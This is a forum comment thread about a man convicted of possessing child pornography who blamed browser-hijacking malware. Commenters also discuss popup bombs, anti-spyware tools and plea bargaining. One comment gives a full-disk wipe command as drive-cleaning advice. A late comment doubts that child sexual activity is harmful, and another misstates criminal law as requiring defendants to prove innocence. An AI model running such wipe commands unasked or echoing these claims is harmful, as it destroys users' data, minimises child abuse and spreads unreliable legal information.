Doesn't do much Firefox 0.8 for me. It shows the picture of the woman with poo on her face (in the main browser window), and Firefox doesn't let it open any new windows or do stupid JavaScript tricks.

I dunno if they got the text from my clipboard, but if they did it'll just be their own URL; I wonder if they'll visit it...

Re:Troll site defeats mozilla popup protection

[JD-1027]

Tried it with Safari.
After about 30 pop-ups I held down command-w (Mac close window keystroke)
It closed all the windows fairly quickly and I was out.

Re:Troll site defeats mozilla popup protection

[real_smiff]

i got two windows. the first one would keep on trying to open a second, but once closed nothing came back. firefox 0.8, proxomitron with JD's basic config. also lots of popup blocked warnings from standard firefox blocker.

Re:Troll site defeats mozilla popup protection

[Anonymous Coward]

I use a modified hosts file to block in-line ads and to block ads that are inside of pop-ups. However, if I am not mistaken that technique does not block the pop-up itself. Correct me if I am wrong, I am not an expert on that subject.

I use both Linux and Windows and have modified the hosts file in each. I use the modified hosts file to divert ad server URLs and redirect them to the 127.0.0.1 loopback address on my computer. After clearing the cache there are now about 1/3 less advertisements on most web pages. An empty rectangle appears where the adversement should have been. About half of the pop-ups are emptly. I have a slow dial-up connection and less advertisements means that many of the web pages load faster. But, I am uncertain if popup bombs would be stoped by that or not. Here is a web page that describes using a modified host file in either Windows or Linux.

http://www.everythingisnt.com/hosts.html

In a somewhat related problem, I have noticed lately that most home computers with Windows seem to have spyware on them. I recently helped install Ad-Aware on a friends computer and we discovered and removed over 80 spyware related items. Here is a link about Ad-Aware:

http://www.snapfiles.com/get/adaware.html

One last thing, I occasionally test my firewall at the "Shields of Website" and click on "ShieldsUP" see what ports I have open. It's nice to know that the firewall on my home computer is working and that I do not have any ports open. I hope that my computer will never get hijacked by porn the way his allegedly was (if it really was)! Is there anything more that I could do? I mostly use Mozilla Firefox 8.0 under Slakware 9.1 Linux by the way.

http://grc.com/

More interesting

[www.sorehands.com]

Some of the images were found in unallocated file space, and would have to have been placed there deliberately since cached images from browsing sessions wouldn't have been stored in unallocated space.

Doesn't the OS delete files when the cache gets filled? If so, the porn that was located in the cache files is now located in unallocated space.

Re:More interesting

[Sigma 7]

If so, the porn that was located in the cache files is now located in unallocated space.

That's sort of close, but not guarenteed to be correct. From what I can tell from the context of the article, the "Unallocated Space" is probably referring to what is also known as "Lost Clusters". These are files located on the hard disk that have no directory entry pointing to them, normally an indication that a computer was not shutdown cleanly. Most operating systems contain utilities that check for and save these missing files, and thus those images are capable of coming back.

Regardless of which context was used, the pictures being found in "Unallocated Space" is a non-issue - any computer expert should know this.

Re:More interesting

[Anonymous Coward]

"unallocated space" means simply, that there are no files actively stored at that address (innode, or whatever you want to call it).

It means, that a file was once there, and was "deallocated". Delete is somewhat of a misnomer, nothing gets deleted in a delete operation. The file is marked as non existant, but it's soul remain, until the file's address is written over again.

Lost clusters is an error that's usually associated with a hardware failure. Clusters are maked as lost when they're no longer usable for write operations (presumably because the surface of the disk was damaged). This was a big problem in the 80's.

Re:More interesting

[Impy the Impiuos Imp]

For the non-technical, the hard disk is like a huge stack of sheets of paper. Some get used and written on. When you "delete" a file, it goes back into the unused pile of sheets but the data on it is not erased until it is pulled back out to be used again.

Re:You can't laugh this off, not even with Mozilla

[McCrapDeluxe]

You can't hide behind Mozilla -or anything for the matter. Lynx :-P

They use Not-illegal pics againt you too!

[mabhatter654]

That is the bigger problem here that needs to be addressed. It's entirely possible that you could get on some "thumbnail" page that's a bit careless and get a bunch of thumbnails...now of course you know you shouldn't look there...but it's also on your computer right now!!

Also, DAs make a practice of using non-illegal pictures to prosecute you too...so the jury thinks your REALLY bad. That is a much bigger problem!!! I'm sure Goat.cx ends up LOTS of times before these juries even though it's not illegal... eyeball melting, but not illegal... It's too bad there's not better legal representation for this type of stuff as legitimate, law complying porn shouldn't be even admisible in court... It's Judical malpractice for judges to even allow it as evidence!!!

Re:Welcome to the future. (Slightly OT)

[rewt66]

Because we all know looking at pictures is bad.

You know, there are people in this world who literally spend one million dollars to broadcast a television commercial that is 30 seconds long. One million dollars.

Are they fools?

No, they are business men and women, who know that in 30 seconds they can make a change in people's behaviour that, collectively, is worth more than one million dollars. Any individual - most individuals, even - won't have any change of behaviour, but a measurable number will buy the advertised product because they saw the ad.

I keep hearing people claiming that hours and hours of sex and violence on TV don't change people's behaviour, or that looking at porn doesn't change people's behaviour, that "there's nothing wrong with just looking". Really? So all these advertisers are wrong? Sorry, they are very heavily researching, and are also putting their money where their mouths are, and I believe that they know what they are doing.

This stuff does change people's behaviour. Not the behaviour of everybody who looks at it, but enough people to matter.

Proof?

[exp(pi*sqrt(163))]

If he's telling the truth, it should be easy to prove

What happened to "innocent until proven guilty"?

Re:Proof?

[canajin56]

"We found the gun, and the bullets match the ones found in the body. Additionally, there was video evidence of the killing, and we found traces of the victims blood on his shirt. He claims he was visiting his mother at the time, and has no idea about the blood and the bullets. If he was out of state, his mother should be able to verify his claim"

"Outragous! Whatever happened to 'innocent until proven guilty'???"

For those of you who don't get the example, nothing happened to "innocent until proven guilty." The phrase means that, up until you have been proven guilty, you are not to be treated as though you are guilty. What it does NOT mean, despite what everybody seems to think it means, is that you are not required to prove your innocence. You most certainly are. However, the prosecution is required to prove your guilt. If the proof is so flimsy that you do not have to defend yourself, it most likely would not go to trial. However, if the proof against you is solid, you will be convited unless you prove your innocence. Optimally, it would not be possible to prove somebody's guilt unless they were, infact, guilty. However, the world is not perfect. There are instances where evidence indicates you did something that you did not. In those cases, you can and should present an alternative explanation of the evidence. Presumption of innocence does not enter into it. This guy is not at all required to prove that a virus/trojan/worm downloaded the pornography. However, there is 100% solid evidence that he had said child pornography in his possession. If he does not prove his innocence, this is a sufficient proof of guilt.

Re:Proof?

[MalachiConstant]

What it does NOT mean, despite what everybody seems to think it means, is that you are not required to prove your innocence. You most certainly are.

Well, no. You don't have to prove you are innocent, you have to prove you are NOT GUILTY. That's why a verdict is either guilty or NOT guilty, instead of guilty or INNOCENT. And no, that's not just a semantic point. It's rather surprising (with the popularity of crime dramas, and the basic rules of law you can learn from them) that a comment like this gets modded up.

The prosecution has to prove that you did the deed. You don't have to prove you DID NOT do it. An alibi certainly helps, so does proving a spyware app did it. If you can make enough people in a jury (or the judge) doubt that you are guilty you win.

Imagine if you really did have to prove your innocence. I accuse you of killing my brother on September 5, 1999. There's no body, but he's missing. There's no weapon and we don't know how or if he died. Now, prove to me you didn't do it. Do you have a rock-solid alibi? You don't remember? Can you prove to me that you never met my brother? He traveled a lot, maybe you met him in an airport, or in a bar, or in a Wal-mart, or at a gas station and decided to kill him. Prove you didn't do it.

Re:Proof?

[sjames]

What happened to "innocent until proven guilty"?

It died when prosecutors figured out that if they offer you 6 months in jail or the possability of life without parole, most people (innocent or guilty) will take the 6 months rather than risk a life in hell on the capriciousness of the courts and a trial before a jury of anyone who couldn't think up a decent excuse.

Re:Proof?

[sjames]

While that is correct in current practice, it defies and defiles every principle of U.S. law. What the prosecution is SUPPOSED to have to prove beyond reasonable doubt is that he knowingly and willingly stored the images on his computer.

Considering all the pop-ups, redirects, 'porn storms' and other crap that routinely cause browsers to do things the user doesn't want it to do, I'd say that any evidence based on a browser is automatically suspect. After all, ATTEMPTING to limit that sort of thing is a multi-million dollar industry (indicating prevalance) and the attempt is only partially successful.

To adjust your analogy accordingly, "We found the gun in his yard by the curb, the bullets match the ones in the victim, HANG HIM HIGH!!!". Followed shortly with: "I guess we can't just hang him, put a gun to his head and tell him we pull the trigger unles he agrees to serve 6 months. To keep it fair, we'll only load the gun with two bullets."

Crap lawyer

[EmbeddedJanitor]

This guy has a crap lawyer.

To what extent can you be held responsible for your actions with unfathomable technology?

There is a vast distinction between "causing" and "triggering" an event. The malware (and by extension the malware author) caused the event, even though the bloke triggered it. Analogy: If someone wired up a bomb so that when you cranked the engine the bomb blew up killing hundreds, the person who wired the bomb is responsible, not the purson who unknowingly turned the key. Of course if you knew there was a bomb attached to the car that is another matter.

The disk cache

[Daath]

Or you could disable the disk caching, or put the disk cache on a RAM-drive - Turn off your computer and the cache is history (but the history isn't) :P

Re:You can't laugh this off, not even with Mozilla

[Wraithe]

Sure you can, you can get a Mac.
(sorry, I hadn't seen anyone say it, and there is a quota, you know :))

It's amazing how much of a pain in the a** this stuff is. Now, not only do you have to run AntiVirus SW, you now have to run AntiMalware (Spybot S&D has my vote currently)

Mind, you I just finally snapped after seeing one VONAGE(May they rot in hell) ad too many and installed Privoxy.

I'd been using the Ad blocker Pith Helmet for the Safari browser, and the built-in ad blocking in OmniWeb, but Privoxy is really nice. Win/Lin/Mac versions, too. Beats the hell out or writing all those RegEx blockers myself.

3 hours?!

[Woogiemonger]

Jack said "They let prisoners out only every other day for 3 hours. I do not know how people can stay in prison for years."

Umm, most of the people reading /. get away from their computers far less than 3 hours every other day. They're spoiling him.

Re:stop this? me?

[j0nb0y]

yeah, no kidding. I just removed a bunch of crap from my sister's computer over the weekend. She had an "anti-spyware" program on her computer called Spy Hunter. Seeing as how it certainly wasn't very effective in removing stuff, and I had never heard of it before, I theorize that the program was actually spyware itself. I'm curious if anyone who's heard of Spy Hunter can verify this.

The only two programs I (personally) vouch for in this area are AdAware, and SpyBot S&D.

Similar to the drug "problem"

[mabhatter654]

The problem is that these are crimes of posession, not action. There is some nieve notion lawmakers have created that "absolute rule" of possession rather than using any reason at all.

This is comparable to what's happened in the "war" on drugs... cops planting evidence to sieze property illegally, using the overwhelming legal fees to sieze property by default [we won't charge you with a crime if you give us your car], or seizing 70 year old grandmas property because of the actions of a teenager they're trying to support. Another problem is the idea of "posession" by consumption passed by many of the state legislatures.... That's blatantly unconstitutional... even when the amendment for prohibition of alchol was in force that was considered an unthinkable 5th amendmendment violation....my how times have changed. If you actually look carefully at the prohibition amendment "posession" of alchol was not actually illegal. manufacture, sale, transport was...but not posession or consumption they had their constitutional bounds almost straight... it was definately not the way it is handled now. Also, they tend to forget---it didn't work then. Why would they expect "prohibitions" to work now in the digigal age?

OK. What do you recommend?

[SnappingTurtle]

I use SpyBot for checking for spyware and Google's toolbar for blocking popups. What do you recommend to wipe unused areas and clear out cache?

Re:stop this? me?

[Xenographic]

The only two programs I (personally) vouch for in this area are AdAware, and SpyBot S&D.
-----

I agree; I just don't trust the others, due to all the fakes, and I don't have time to try and reverse engineer all the other programs out there.

Though if anyone can give me some convincing reasons to use other programs/evidence that they are or are not spyware, I'm listening.

Wookie.....

[vwjeff]

Ladies and gentlemen of this supposed jury. You must ask this one question....does this make sense? If the browser was hijacked you must acquitt.

Look at the silly monkey!!

Re:You can't laugh this off, not even with Mozilla

[Foolhardy]

I myself had a Java based trojan install an ftp daemon in my system folder with an INI file that had accounts named 'xdcc-warez' etc.. I am very secure, but I wouldn't have known about this intruder unless my firewall would have reported the ftp daemon opening the port.

Very secure? Running as an Administrator isn't secure. How did it create files in your system directory (assuming %SYSTEMROOT%\SYSTEM32 or anything else under \WINDOWS)? Non-admins don't have permission to create files there. Even if they did, it's not hard to change.

I am all about performance, I will not have adware and virus protection software scanning every file written to my HD, every word doc I open, email I send, or page i visit; that's ridiculous; not to mention with all those things of, the services are still there for some reason.

I agree that most AV software (esp Symantec and McAffe) is way too bloated. Still, with the autoprotect stuff off, there shouldn't be anything resident... I don't know for sure because I'm not running any anti-virus software anyways. Or a local firewall. My NAT router blocks all unsolicited incoming traffic; running my browsers as a lesser user and knowing what I am doing protectects me from local attacks.
I have had zero viruses, worms, malware, spyware, etc... in the ten some years I've been using computers. Yes, this includes my Windows computers. It's possible.

I'd go after the IT guy

[digitalgimpus]

It says in the article:

"Eventually, thank God, IT found some program on there that they said could have caused the problem. But for eight days I was sure I'd be fired, and I was terrified. I have a family to support. Jobs aren't easy to come by these days."

But they apparantly still filed a police report.

Quite possible a false police report? Either way, it wouldn't be a bad idea for the DA to open up a little investigation into the company's IT department to see if they were withholding anything, or intentionally overlooked things.

Something doesn't smell right about this case. I've got a gut instinct that company of his found an opportunity to make an example of him for the infamous "no personal use" policy, and decided to exploit him... and it just got out of hand.

But Your Honor...

[Trolling4Dollars]

...I was just doing research. Honest guv! - Pete Townsend

MOD PARENT DOWN!

[snooo53]

Who in the world moderated this as insightful?

I have a hard time believing our government invaded a country to get rid of weapons that never existed..stranger things have happened.

Never existed? Tell that to the 750,000 Iranians who died because of those weapons that *never existed*. Tell that to the U.S. companies like Dow that were granted liscenses (over 170 of them) to sell Salmonella, botulism, and antrax to Iraq. Or the thousands of Kurds who were gassed before the first gulf war.

Maybe you need to read up a littleon what was going on in the 80's, since you obviously weren't around.

Dumbasses like you need to stay on IRC.

Re:Our Government aren't fools!

[asdfghjklqwertyuiop]

And either way, Hussein deliberately acted in such a way that the only conclusion anybody on the outside reached -- and that included the UN, France, Germany, Canada, and Russia -- was that he had retained them. Everybody thought Iraq had them; the only controversy was over the method of getting rid of them

Do you have any sources/proof that the UN, France, Germany, Canada, and Russia agreed with the US's estimation of Iraq's WMDs just prior to gulf war II?

Re:Our Government aren't fools!

[FauxPasIII]

> And either way, Hussein deliberately acted in such a way that the only
> conclusion anybody on the outside reached -- and that included the
> UN, France, Germany, Canada, and Russia -- was that he had
> retained them. Everybody thought Iraq had them; the only
> controversy was over the method of getting rid of them.

Am I the _only_ one that remembers the inspectors being let in, receiving cooperation? Hans Blix, ring
a bell? Are you on drugs?

Hussein was a prick of a whole different kind, but he cooperated with the inspectors a hell of a lot more
than Bush cooperated with the 9/11 investigation.

Prove innocence?

[nurb432]

Ummm our legal system doesn't work that way ( unless its a civil case, or a criminal case dealing with national security ).

It is the states job to prove your guilt. Its not your job to prove your innocence. Though it does help admittedly.

Personally i know id fight it, and NOT roll over and be stigmatized for life, for a crime i didn't commit.

ACPI power button

[Gary Destruction]

The ACPI power button can come in real handy when faced with a situation like mass pop-ups. As long as you have it set to turn the machine off, one press and it's a clean shutdown. All processes are terminated. It's an act of desperation, but it works.

slight correction

[snooo53]

In the interests of being accurate, Dow only sold chemicals to Iraq. The bacterial strains were given by the Defense Dept.

Re:Welcome to the future. (Slightly OT)

[GigsVT]

Well said. I don't agree with you, but that is an excellent post. :)

Re:OK. What do you recommend?

[pyrrhonist]

DestroyIt Pro

If it's good enough for the DoD, Peter Gutmann, and Bruce Schneier, it's good enough for you.

If that guy went to jail...

[Compulawyer]

AND IF he is telling the truth about not actually surfing to child porn sites, then he is a victim. I have a hard time believing that malware caused his browser to go to kiddie pr0n sites. I have a slightly easier time believing that the kiddie pr0n images were on the drive when he boght the machine from eBay. But what I find notable is the lack of any detail regarding what investigative steps his defense lawyer took to see if he was truly responsible.

Until lawyers get technically savvy, laws affecting technology will be terrible.

Re:If that guy went to jail...

[nessus42]

I have a hard time believing that malware caused his browser to go to kiddie pr0n sites.

I had malware take me to kiddie porn sites. See my other posting in this thread for details.

|>oug

Re:If that guy went to jail...

[ptudor]

If the man is a victim, it's because he made the choice to not bring his case to trial. You must give up your constitutional rights, they are not denied you, unless your name is Jose Padilla or Yaser Hamdi. You have the right to a trial by jury. You do have an opportunity to stand up for yourself. He gave that up. Freely accepting a perhaps unjust felony conviction is ultimately his fault.

I sat on a jury several weeks ago for a fairly basic criminal case that ran four days. It was fairly clear to everyone what had most likely occurred, but we were still evenly split, ending in a mistrial. You do have an opportunity for twelve adults to realize the surrounding situtation and release you. And who out there in the world of normal people doesn't just loathe their Windows box? They all use IE and don't patch. I bet he'd have an okay chance.

Your last sentence in the comment, "Until lawyers," is out of place and overly broad.

Re:If that guy went to jail...

[@madeus]

The anonymous coward's comments not withstanding (an apt name, since he seems to be too cowardly to protect his own rights, thus autolarting) I agree with your sentiments.

If he IS innocent of the crime he was convicted of, then he is complicit in assisting in another crime purpotrated by the state, which, if it's the case that the prosecution was in error, will then go on to accuse others in a similar fashion, thus ruining their lives - all because he was too lazy to stand up and defend himself.

That's assuming he was innocent though, which I do not believe (particularly seeing as he admitted his guilt to the court, and only now he is claming he innocent).

According to the article, there were images on an unmarked partition. It's possible they were from the previous owner of the PC (that he says he got on ebay) - by using date stamps and eximing the partition table shouldn't be too hard to determine when this was done and so work out if he's lying or apparently telling the truth.

After all, if the person who put that porn on there was half way smart and truly computer litterate, they would have used multiple layers of encryption (using say linux and a file system with multiple [but indeterminable] levels of encryption) to make the files untraceable, and he'd be able to put 'dummy' safe porn there (or MP3's, or something less controversial).

If anything good comes of this (other than this guys conviction) and the likes of the RIAA witchhunts, then it may be that the public will be encoraged to become more technologically litterate.

Re:If that guy went to jail...

[Compulawyer]

You do have an opportunity to stand up for yourself. He gave that up. Freely accepting a perhaps unjust felony conviction is ultimately his fault.

Very true. HOWEVER - you cannot make a reasonably informed decision whether to give up your right to a trial unless you have a competent lawyer who can objectively estimate the strength of the State's case against you. Without that estimation, you cannot assess the risk of a trial.

Your last sentence in the comment, "Until lawyers," is out of place and overly broad.

My "last sentence" is my sig. I don't believe it is overly broad. Lawyers are the front lines in courts pressing for proper applications of the laws. When lawyers don't understand the facts in ANY case, technical or not, there is a great danger that the law will be misapplied. The application of law to facts is the core of legal analysis. Example: The federal wiretapping statue says it is illegal to intercept a communication while "in transit." Federal agents copied an email while in the "store" phase of store-and-forward transmission and successfully argued that the message was not "in transit." A lawyer who understood the basic operation of packet-switced networks would have shot that argument down in a heartbeat.

what? no "you insensitive clod" post?

[JimmytheGeek]

You were in a prime position!

By my standards, a good slash-cliche.

Solution, you can record...

[Anonymous Coward]

In most areas you can legally record any conversation you a part of, i.e. in the same room as you.

Such recordings may or may not be able to be used in court, but never the less you'll have the truth of what happens in any situation well documented.

I also do not see why more people, including highschool students who are being bullied, do not bother to carry a recorder. It seems people suddenly are no longer assholes at the mere hint they are being recorded. Go figure.

Re:Solution, you can record...

[Hatta]

That is one hell of a kludgy work around. Why should a person be forced to go around recording everything he does just because some wacko might falsely accuse him of something? The real solution is to overhaul the criminal justice system to apply a real standard of proof. "He said-she said" cannot be enough to ruin a persons life. Even when she is a child, perhaps especially when she is a child.

yrs in prison etc...before the investigation? yes!

[Dever]

having been subjected to a public defense attorney before (and no, not for kiddie porn) i can attest that it is in their best interests (and the prosecutor, don't think there isn't some unspoken knowledge of how this works between them) to instill fear into a defendent and recommend they take a plea bargain before even ASKING te defendant what really happened.

a public attorney is awarded a wage, that is added to the fines of the convicted person. it isn't worth their time to go to trial and waste a bunch of money when they can just get the defendant to agree to a plea and at that point count on a thousand (or more) or so bucks payoff RE that case all for just visiting jail a few times and showing up in court once or twice.

from all the people i spoke to (yes, spoke to *in* jail who were serving time) it's common to sit down, and have them tell you you're looking at 3-4 years in prison (this of course varies) and recommend you just take a plea, all without even fucking asking about your side of the story.

yes, i'm bitter about it, but even moreso i'm angry for all the people whose lives get caught in the justive systems interminable process of rapid conviction commerce.

i can give you one rule, and it of course might be more obvious to some than others (like a frightened 18 year old in jail, or anyone else really) is that ALWAYS get a private defense attorney, NEVER trust your life with a public defender.

Plea bargaining is not a good deal.

[yog]

I've seen a similar scenario up close, except that it was her husband and her brother that she accused of sexual abuse of the children. She had been going to a "religious" group for years and basically had been inducted into a cult; apparently when the husband started objecting to how she was siphoning money to these crooks they told her to make these false accusations in retaliation.

The men wisely chose to fight the charges, and both the brother and the husband ultimately were completely exonerated. The husband won custody of the children, and the accuser has lost all credibility. Before he was cleared, the brother, who had just finished eight years of grueling 120-hour weeks to build his medical career, spent about six months wondering if the next knock on the door was going to be the police come to lock him up and destroy his life in the blink of an eye.

Playing the pedophilia card has become a weapon for vicious and cynical people; it's easy to horrify juries with graphic descriptions of pedophilia, and children can be coached to say almost anything. Lives have been ruined, careers destroyed, and children traumatized almost as much as if true pedophilia had occurred.

This is not to say that there aren't plenty of pedophiles out there who need to be incarcerated to protect society, but it's such a travesty of justice that someone could easily wind up in jail or on a sex offenders list for the rest of his life as the result of a false accusation. If the accusee is innocent, plea bargaining is never a wise move, no matter what one's lawyer advises. Lawyers are out to help themselves, not their clients. Fight them, take lie detector tests, show them your home PC, whatever it takes to establish your innocence. This Russian guy was tragically mislead by a crook with a law degree; I hope he can somehow clear his name but he's into it pretty deeply now.

Re:Plea bargaining is not a good deal.

[bckrispi]

If the accusee is innocent, plea bargaining is never a wise move, no matter what one's lawyer advises.

If you live in Arizona, it's often better to cop a deal even if you are innocent. Punishments for Crimes against children in this state are particularly harsh. If you're convicted in a Jury Trial, you'll be facing mandatory consecutive sentences If you're accused of touching a child 10 times, that's a mandatory 10-24 year sentence for each charge. That's 100-240 years in prison without possibility of parole. If I, as an innocent, were faced with this situation, I'd really have to consider a plea bargain rather than take the risk.

Re:Plea bargaining is not a good deal.

[Maestro4k]

• The men wisely chose to fight the charges, and both the brother and the husband ultimately were completely exonerated. The husband won custody of the children, and the accuser has lost all credibility.

They were lucky, but I have to wonder, were they really completely exonerated? Legally I'm sure they were, but in the court of public opinion, did everyone hear about the exoneration? Did they believe it? I highly suspect the answer to both will be no.

• Playing the pedophilia card has become a weapon for vicious and cynical people; it's easy to horrify juries with graphic descriptions of pedophilia, and children can be coached to say almost anything. Lives have been ruined, careers destroyed, and children traumatized almost as much as if true pedophilia had occurred.

This is very true, and the major problem is that the mere playing of the card is all that's needed to destroy a person's entire life. No proof of guilt needed. The public all hears about it on the news (and the news media LOVES to report these things, very sensational you know) and that's it, the guy's a pedophile and they'll never think differently.

Many people win the legal battle and lose the war big time. They end up having to move, change their name, etc. just to live a normal live -- even though they were never convicted (and in some cases even charged) with a crime.

This is sadly a horrid abuse of our justice system. I keep hoping someone whose life was ruined in a case like this will turn around and sue their accuser and the media for it. I'm not one to normally advocate lawsuits, but these people's lives are ruined by the media sensationalizing things. Since it's not sensational (or even interesting apparently) to report when the charges are dropped, the case is lost, the accuser found to have made it all up, etc. the media almost never reports about the exonerations of acussed pedophiles. Perhaps losing a hefty lawsuit or two would get them to either 1) start reporting the exonerations with as much vigor as the accusations, or 2) stop reporting things before there's at LEAST a charge filed. Either of those would help immensely. Sure there'll be those who hear about the exonerations and not believe them, but if they're regularly reported the harmful affects of the accusations would be mostly negated. (And I suspect a lot of people would be surprised to find out how many acussed of these types of things turn out to be innocent.)

On the bright side, if that happened, the ability to play the pedophile card irresponsibly would probably mostly stop. After all if the ability of it to harm innocents goes away, it's of no use to those that currently abuse it.

Re:Plea bargaining is not a good deal.

[instarx]

This is sadly a horrid abuse of our justice system. I keep hoping someone whose life was ruined in a case like this will turn around and sue their accuser and the media for it

Richard Jewel, so-called suspect in Atlanta Olympics bombing sued the FBI/Justice Department and the media companies (including CNN) that fingered him as the bomber. He won all his cases.

What has it changed? The government now simply takes people into custody without releasing their names at all, with no evidence required. If the so-called Patriot Act had been in effect at the time, the innocent Mr. Jewel would still be in a tiger cage in Guantanimo.

Re:Plea bargaining is not a good deal.

[arkanes]

Sex offender laws can suck. I know a guy who has to register for the rest of his life (although he's left the country) for having consensual sex with jis fiancee. 21 (maybe 22) year old guy living with a 17 year old, he's being a good husband (although they aren't yet legally married), good job, she's pregnant and he's at the hospital as she's giving birth. Cause the girl is a minor, the nurse has to (by law) report the father if she knows who it is, and, of course, the proud daddy is there watching. A few days later the police show up and cart him away.

I'm not sure what the details of the court case are, whether he pleaded or not, but he spent a while in jail and then got out on probation, but has to register as a sex offender. His now 18 year old wife and infant daughter are waiting for him.

Last I heard he'd basically fled the country. Can't say I blame him.

Re:Plea bargaining is not a good deal.

[CmdrGravy]

I don't understand the justification in giving someone nice easy light sentence if they admit they were guilty or giving them a huge horrible sentence if they are proven guilty.

They are presumably just as guilty either way and so the remedy should be the same in both cases.

I think they are trying to bring this kind of thing into the UK to 'speed things up' but I think it is a really bad idea.

Re:Plea bargaining is not a good deal.

[another_henry]

Well said. It's pretty screwed up.

Re:Plea bargaining is not a good deal.

[kabocox]

If you're accused of touching a child 10 times, that's a mandatory 10-24 year sentence for each charge. That's 100-240 years in prison without possibility of parole.

I hope your state's laws are worded better. I can just see that every school child, parent, teacher, and day care operators in Arizon is a criminal now.

Re:Plea bargaining is not a good deal.

[Paulrothrock]

Another symptom of activist lawmakers illegally influencing the judiciary by creating mandatory sentencing laws.

Re:Plea bargaining is not a good deal.

[A55M0NKEY]

They are presumably just as guilty either way

SO TRUE! Plea bargaining should be outlawed. The huge sentences are there for when prosecuters have an iron clad case, and don't need the defendant to plea bargain, but they are also there for a threat to intimidate people who might be acquitted into plea bargaining with. This assures that innocent people will be punished, if not with the full penalty then with at least a partial penalty.

There is always pressure in the course of carrying out 'justice' to look at a person's percieved probability of guilt and assign them a sentence equal to the probability of guilt ( or conviction ) * penalty for crime if convicted. Since unsolved crimes have been committed, there is always the probability that a random person is the culprit. If there is a murder in your city, does that mean everyone should be sentenced to 15 minutes in prison? Of course not. Only the truely guilty should have to pay.

The system is not perfect - it is not omniscient or even just. It is entirely possible that up to 10% of the prison population is innocent. Pleading guilty or no-contest doesn't make you guilty, only legally guilty which is an entirely different thing. I pleaded no-contest to driving without insurance on a traffic ticket, and paid the fine. I thought I was uninsured because of a misunderstanding with the insurance company. I later found out I actually HAD insurance at the time I got the ticket. Nothing I can do about it now. For the last few years, ( and for a few more I believe ) I am unable to register a car without a special form proving I am insured. This form I must have to register my car is similar to regitering as a sex offender ( even if much less serious or inconvenient, though some insurance companies ( like geico ) will not sell me insurance because of it. I got a better price from progressive anyway so ha! ) .

Also, plea bargaining lets the police close cases by assigning guilt arbitrarily. If someone is caught for stealing booze out of one summer cabin, then they can get a lighter sentence by pleading guilty to a string of 20 recent summer cabin burglaries, 18 of which they did not commit than they would get if they were convicted in a court of just the one. 18 burglers are no longer persued by the law since the cases have been closed due to a plea bargain. If they are later found with stolen whisky bottles from those camps, then that evidence will never be tied to the crime which was 'officially committed by' the guy who copped a plea.

Re:Plea bargaining is not a good deal.

[Maestro4k]

• Richard Jewel, so-called suspect in Atlanta Olympics bombing sued the FBI/Justice Department and the media companies (including CNN) that fingered him as the bomber. He won all his cases.

Oddly enough in the public's mind being accused of bombing the Olympics is less dire than being accused of being a pedophile. Jewel's reputation wasn't tarnished as much because of that. (Although it was tarnished, and I'm glad to see he won his cases!)

Unfortunately in cases involving accused/suspected/made-up/wishful-thinking pedophilia or child pornography the government prefers to avoid actual prosecution. It's simpler to destroy someone's life (the public accussations do that nicely) and harrass them until they admit to something. Then the feds get to add a notch to their belt and claim how they're protecting the children, etc., etc. It's nearly impossible to sue the feds for this type of thing, even when exonerated. You have to have permission from Congress to sue the FBI for instance. Good luck getting it, and if you do, remember you have the challenge of suing a government agency in the government's courts.

You do bring up another good point though, the detaining of people without charging them or releasing names is also very wrong. How do we change it? Hell if I know, the Patriot act might not get renewed, even supporters of Bush in Congress are starting to view it as a political landmine. That would be a good start.

Re:Plea bargaining is not a good deal.

[Maestro4k]

• Even though he'd *admitted* to some of those people that he wanted to.

I'm going to comment on this, not to be mean, but because the phrasing is troubling. Admission to wanting to do something illegal is NOT a crime. If he'd admitted to doing it, that would be different. Frankly this wouldn't have helped in court any, as any halfway decent defense attorney would have pointed out that there was no admission of intent.

To put it into a less emtionally charged situation, you might hate your boss and want to strangle him, but unless you tell someone you intend to do so, you've not committed a crime.

• Sadly, I think they've poisoned the well so thoroughly that it's unlikely to work properly again. I can't get a genuine pedophile arrested because so many people are primed to beleive that it's a fake accusation, meanwhile innocent people get trashed because they didn't happen to have a good alibi.

I don't know where you're from, and I understand you're probably not going to want to say, but where I'm at the opposite is much more likely to happen. Around here he'd probably be fending off bricks thrown through his window and have to avoid walking on the sidewalk because someone would try to run him down. Frankly neither of these extremes are helping matters any. (I think you'll agree with that.)

• [1] One of the people who lied was a psychiatrist who "Doesn't believe in punitive solutions to a social problem."

Assuming the psychiatrist was told about intent or actual acts, this is pathetic and they need to be taken out of practice permanently. I can understand the sentiment (most pedophiles need help, not prison time, the same goes for drug users (not sellers, users)) but LYING? Sheeze. You might want to consult a lawyer and see if you have enough to report him to the AMA. You might be able to get his medical license revoked. (Just using he/him for convenience, no assumptions made.)

Sadly there are more extreme cases of doctors screwing up. We lost my youngest uncle to cancer. His doctor had removed a malignant skin tumor from his back several years prior but never told him it was malignant. If he'd been told and started having regular screenings (standard protocol) he might still be alive today. We tried, but were unable to do anything and the doctor's still in practice today. We just hope and pray he doesn't screw up and cause anyone else to die prematurely.

Re:stop this? me?

[zcat_NZ]

Bugger that. If you get a new machine, the very first thing you should do is.

NUKE and PAVE. Properly. Boot KNOPPIX for this one and run 'dd if=/dev/zero of=/dev/hda' to completely wipe the drive. If you're really paranoid, do it several times.

This will get rid of whatever crap the last used had. Warez, kiddyporn, stolen government documents, whatever. You don't need it.

Once you have the base install sorted out, burn all the drivers your hardware requires onto a CD. Put zonealarm, adaware, spybot, java, flash, acrobat reader, etc on the same CD so you don't have to keep downloading them.. Keep a copy of TheOpenCD handy too, and you'll have most of the decent OSS software right there.

It only takes a few hours to completely reinstall Windows and a bunch of OSS apps, which is all most home users really need. And never mind windows updates; if you're behind a good firewall and not using MS's bundled swisscheeseware (IE/OE/WMP) then you probably don't need them.

If your computer is slowing down or acting weird, run spybot, norton, etc. If that doesn't fix it backup your data to a CD, and NUKE and PAVE.

If it's been a year since you last reinstalled; backup all your data and NUKE and PAVE again. You'll be surprised how much better things run on a fresh install.

Seriously. Why are people so afraid to format and reinstall their damned OS? It's not like it's difficult or anything!!

one click

[Lehk228]

"I advise Internet users to be very, very careful," Jack added. "Committing a felony is very easy; it just takes one click."

well Duh, if that one click is on nakedlittlekids.com it is. I bet he was guilty and heard about the guy in europe who beat a KP rap using the virus defense

Victim the standard?

[Famatra]

"It is not by any stretch of the imagination a victimless crime."

I've yet to see strong arguments or studies that child sexual behaviour with others is always necessarily harmful. (Few studies probably because anyone studying this issue is strongly frowned upon, esp. if you present any scientific evidence contrary to the mainstream perception that sexuality is harmful).

More to the point, if the standard of making images illegal is that there are 'victims' portrayed, then surely violent news and movies (or any other images of illegal activities) with victims must similarly be outlawed in your opinion.

Re:Victim the standard?

[cranos]

